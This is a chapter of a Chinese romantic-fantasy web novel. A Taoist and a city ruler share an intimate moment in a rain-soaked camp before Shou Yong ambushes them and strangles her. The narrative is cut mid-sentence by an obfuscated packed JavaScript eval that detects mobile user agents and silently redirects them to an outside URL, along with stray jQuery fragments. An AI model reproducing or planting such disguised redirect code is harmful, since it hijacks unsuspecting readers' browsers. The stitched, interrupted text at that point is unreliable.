85. 危难
作品:《道长与女妖》 一场久违的暴雨终于送来了秋的凉意,太阳被厚厚的云层遮蔽,从缝隙里透出道道柔光,空气中的尘埃被涤清,混着泥土的芳香。
阳城与金吾交界的山边立着数个青绿色的帐篷,姚华音站在帐中,顺着帘子间隔向外看,山路被雨水沁出无数个大大小小的水坑,树上的水滴随风落在水面上,啪嗒嗒响。
“空山新雨后,天气晚来秋,只是时辰尚早,还看不见月亮。”
行云凑过来,在身后轻声念着,把姚华音的思绪带回十二岁那年的秋天,与俞子钦在清都山上躲雨的时候。
那年他跟随俞平阔出征,回韶阳前给她写了信,许久未见,她兴冲冲地跑去清都山下迎他,正赶上第一场秋雨。
雨下的太大,到处泥泞不堪,眼看天就要黑了,俞平阔下令全军就地扎营,等天亮后再赶往驻地。
雨停后,她提着灯笼,与俞子钦在山中笑闹追逐,玩累了就并肩坐下树下,任由树叶上落下的水滴浸湿衣衫。
那是年少时,她与他共度的最后一个秋天。
两年后,她在金吾城中听见有人叫她“姐姐”,这声久违的称呼让她再次坠入思念的深渊,把“空山”这个名字赐给他。
可惜再多的移情都不过是自欺欺人,永远也无法替代她心里那个少年。
现如今,昔日的少年还陪在身边,她也找回了那时的心境,只是顾虑太多,难以像年少时那样释放真情。
“别一直站在这吹风,当心着了凉。”
行云向前一步,挡住风口,两条水蓝色的发带随风交缠,飘在姚华音面颊上。
她抬指撩开,脚下不挪动地方,不屑笑道:“我从小风餐露宿惯了,比不得那些娇滴滴的姑娘。”
行云向她伸手,“子钦知道,但有我在姐姐身边,理当好好照顾你。”
他说的真诚又随意,不同于小时候在桃林里的承诺,更像是说着一件极其自然的事。
姚华音向旁边侧开一步,故意不握他的手,她是韶阳之主,不需要他的照顾和保护,但不代表她不渴望。
越美好的憧憬就越容易破碎,她苦苦压抑着自己,不敢奢望太多。
行云含笑的眸子动了动,手臂向上抬的更高,虚扶在她的肩头,看那架势,她若是再站在风口不离开,他便要像在金吾府邸里一样,抱起她坐回避风的地方。
姚华音无奈又恼火,不好继续跟他对抗下去,又不满自己一再被他拿捏,极不情愿地向帐篷里走了两步,行云抿嘴偷笑,心说他的华音看起来高高在上,原来也不过如此。
帐篷杆子被叩出咚咚声,半湿的帘子掀起,玄衣铁卫呈进来一封盖有寿雍私印的信函,姚华音拆开看了,唇边勾着一抹鄙夷的笑。
行云问道:“寿雍怎么说?”
姚华音把手中的信递给他,“寿雍让我剿灭南陵后,把成然的项上人头交给他,看来他已经动身去打西齐了。”
行云接过信扫一眼,轻哼,“他果然怀疑到成然头上。”
他说果然,便是早有预料。
当日他送寿谦去南都,姚华音知道他一定会给自己乔装改扮,否则凭他的样貌,成然必会对他印象深刻,寿雍又曾在韶阳城主府里见过他,想查到他头上并非难事。
姚华音好奇问:“你到底动了什么手脚?”
她知道他的道术玄妙,却猜不出他用什么办法,能让成然和见过他的南陵人都认不出他来。
行云走到折叠躺椅边放下书信,随意回道:“也没什么,不过是让周围的人记不清我的长相而已,除了赵冲叔他们。”
他转身回来,对上一双意味深长的,审视的眼睛。
姚华音双手抱在胸前,半笑不笑地围着他踱步,慢悠悠开口。
“妖道果真最擅长编织陷阱,蛊惑人心,还是远离些为好,免得哪天着了道。”
行云被她突如其来的这番话惊的眸光一滞,急着往前凑近半步,委屈巴巴道:“姐姐!”
三年前,他用筑梦禁术伤害过姚华音,虽说他已经放下,但她亲口提起,他难免有些心虚。
姚华音眉尾一挑,眼波流转间媚态横生,抬指捏紧他的下巴,翘着脚,朱唇贴近他,与他的气息相交。
“我跟你说着玩的。”
她唇瓣开合间,在他的双唇上极轻地掠过,如羽毛般,若有似无却触及心底,激起一阵酥麻。
行云微垂的眼睫抖了又抖,一时还没缓过神来,看着她的目光蒙昧不清。
姚华音先后两次被行云拿捏,终于报复回来,盯着他戏谑地笑,翘起的脚站不稳,便弯起手臂勾着他的脊背,捏着他下巴的手迟迟不肯松开。
红润温软的唇近在咫尺,行云眼里凝着无限温柔,屏住呼吸抑制着纷乱的心跳。
外面山路泥泞,咕吱咕吱的脚步声越来越近,听声音马上就要走到帐篷外。
两道布帘之间敞着一条半尺宽的缝隙通风,站在帐篷门口,里边的情形一览无余。
行云赧然侧目,被姚华音捏着下巴带回来,双唇又一次从他唇上拂过,他面色涨红,局促地握紧她的手腕,好在外面的人避开布帘敞口,提早站下。
“说。”
姚华音目不斜视,欣赏着行云不安的模样,简短吩咐。
外面的人答道:“主君,梁副将已经奉季大将军之命带兵来接,雨后路上难走,队伍估计还要两三个时辰才到,让小的先赶来禀报一声。”
行云放开姚华音的手腕,肉眼可见地松了口气,姚华音低笑,缓缓落下脚跟,“知道了。”
脚步声远去,姚华音收回手,脚下一旋坐回折叠椅上,大红色的衣裙在地上铺开,如名花绽放,她脸上笑意不减,心里除了报复的快意,更多是真情实感的宣泄。
行云跟着过来坐下,眼底余温尚存。
正午过后,天上浓云渐散,太阳露出头来,行云撩开布帘向外望,山路上的积水还没渗下,马儿踏上去呲溜溜地滑,淤泥没了一蹄子。
还有几十里就到金吾城了,梁越又要带人来接,不必在这个时候急着赶路。
秋日里燥的慌,喝了水也觉得口渴,过了外面这座山头,再向北不远就是清都山,行云记得姚华音喜欢吃山上的野果,放下布帘,回来道:
“我去山上摘些野果回来,给姐姐带着路上吃。”
姚华音跟着向外看一眼,半开玩笑半提醒,“坡上的路不难走?别摔到山谷里去了。”
行云笑着回:“放心,我跟玄衣铁卫借双木屐子穿上,再拄根木杖,不会摔倒的。”
姚华音不再拦他,“快些回来。”
淡蓝色的道袍远去,姚华音侧卧在折叠躺椅上,很快犯了困。
不知睡了多久,她隐约听见帐篷外有马蹄的声音,刚睁眼细听,一个兵士在外急道:“主君,盛王带人打过来了!”
姚华音骤然清醒,起身走到帐篷外。
日光艳列,地上的积水已经渗下大半,数十个身穿黑甲的盛军骑着快马冲过来,为首的寿雍眼露寒芒,浑身杀气蒸腾。
盛军有备而来,对着随扈的韶阳军搭弓便射,韶阳军失了先机,纷纷中箭倒地。
寿雍的快马眼看着逼近帐篷,六个玄衣铁卫快如魅影,一齐飞身过去阻挡,手中锁链舞的嗖嗖响。
地上泥土迸起,烈马的嘶鸣声,兵器相击声震耳欲聋。
寿雍几个贴身近侍的武功与玄衣铁卫不相上下,数人缠斗间,寿雍猛然冲出人群,怒瞪着姚华音,狂甩了一下马鞭,直奔帐篷而来。
“主君当心!”
守在帐外的韶阳军窜步挡在姚华音身前,被寿雍的马鞭打飞出去。
汹涌的杀气扑面过来,姚华音眸光一凛,急转身向后闪入帐篷中,抓起铁鞭猛抽出去,寿雍几乎同时闯入,强
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255964|153002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
劲的力量冲击的帐篷剧烈摇晃,手中马鞭与铁鞭相击,勾缠后撕扯开,空间都仿佛要被撕裂,帐篷被剖开一道口子,秋风呼啸而入。
外边随扈的韶阳军死伤过半,玄衣铁卫被寿雍的近侍缠上,脱不开身,姚华音警惕地盯着寿雍,铁鞭横在身前,脚下寸步不让。
寿雍双眼充血,攥紧马鞭一步步逼近。
“本王早就该杀了你这个祸害!”他额角青筋暴起,突然又是一鞭。
疾风破空而来,姚华音跃身躲过,大红色的衣裙拖尾被抽的碎裂一地,她猜到寿雍已经洞悉了寿谦的死与她有关,冷笑道:“祸害?寿雍,所有的仇怨都因你而起!”
两个盛军逼近帐门,姚华音眼底如有火苗窜动,手中铁鞭狠狠抽了出去,两道鲜血先后喷出,腥风迎面扑来。
寿雍怒意更甚,马鞭如晴空炸雷,横扫整座帐篷,姚华音以铁鞭反击,打的折叠躺椅木屑飘飞,椅咣当一声砸在角落,撞倒了一侧栏杆,帐篷随之倾斜,经历了几十个回合的击打,裂的千疮百孔。
寿雍戎马半生,力敌千钧,姚华音虽说武功不弱,韶阳军中过半数将领都打不赢她,但的确不是寿雍的对手,抵挡的越来越吃力,铁鞭被他用马鞭缠住,脱了手。
玄衣铁卫勉强摆脱寿雍近卫的纠缠,拖着重伤的身体扑进来,染血的锁链激起呼呼风声,径直打向寿雍。
寿雍横鞭抵挡不及,手臂上皮开肉绽,滔天的怒意下杀气更浓,一脚将玄衣铁卫踹出帐外,随即又挥鞭攻过来。
姚华音手边没有兵器可用,很快招架不住,被一掌推倒在折叠椅上,疼的皱眉,还来不及起身,寿雍忽地扑向她,用力钳住她的脖颈。
无法呼吸的痛苦迫使姚华音全身紧绷,双脚本能地乱蹬,双手死死掐着寿雍手臂的伤处,指甲剜进他肉里,鲜血顺着他手背流下。
寿雍暴怒,攥着马鞭的手抓住她两只手腕,极快地缠了两圈,向后压在她头顶,单膝抵在折叠躺椅上制住她的双腿。
“姚华音,今日本王就让你给寿谦陪葬!”寿雍从喉咙深处里挤出几个字,手上更加用力。
姚华音拼命挣扎,被束缚住的手脚紧绷如弓弦,脸色涨的通红,强烈的窒息感使得眼前很快模糊不清。
她痛苦地拧眉,隐约看见寿雍自责又懊悔的神情,微张的嘴唇扯出笑容,像同情,更像嘲讽。
寿雍恨不能一把拧断她的脖子,手上刚运力又突然放松了些,让她痛快的死在他手上,反倒成全了她,他想要慢慢折磨她,吊着她半口气,让她生不如死。
被扼住的喉咙稍稍敞开一条缝隙,姚华音长大嘴巴,贪婪地吸入空气,像一只搁浅的鱼疯狂吸吮着仅有的几滴甘露,她不甘示弱地瞪着寿雍,气喘吁吁道:
“没错,是我……派人绑的寿谦,但害死他的是寿诘。你以为我姚华音……会去指使顾去病?寿雍,你心里都明白,又何必自欺欺人!”
寿雍面目狰狞,弓着的身体缓缓下压,阴影笼罩在她汗涔涔的脸上。
“本王早就警告过你不要激怒我,今日你落在本王的手上,和姚敏璋死的一样痛快都是妄想!”
姚华音气息不畅,憋的唇色发紫,嗓音虚软却决不退让,“你是说见血封喉吗?寿雍,你知道……寿谦为何去南陵世家吧?为了要回当年你用来换取见血封喉的东西,为了替盛王妃……讨回曲正风写给她的情信,吾心崇君,祁得君至珍之赐。”
她停下来喘息了一瞬,讥笑道:“寿雍,你这算不算害人害己?!”
“姚华音,本王要让你知道什么才叫害人害己!”寿雍手指缩紧,只给她留下一丝气道。
姚华音胸口起伏缭乱,吸不进又吐不出,身上的力气像是一点点被抽离出去,每一秒都变的无比漫长。
外边的打斗声渐弱,梁越的人还没赶到,行云去摘野果还没回来,她知道,不会有人来救她了。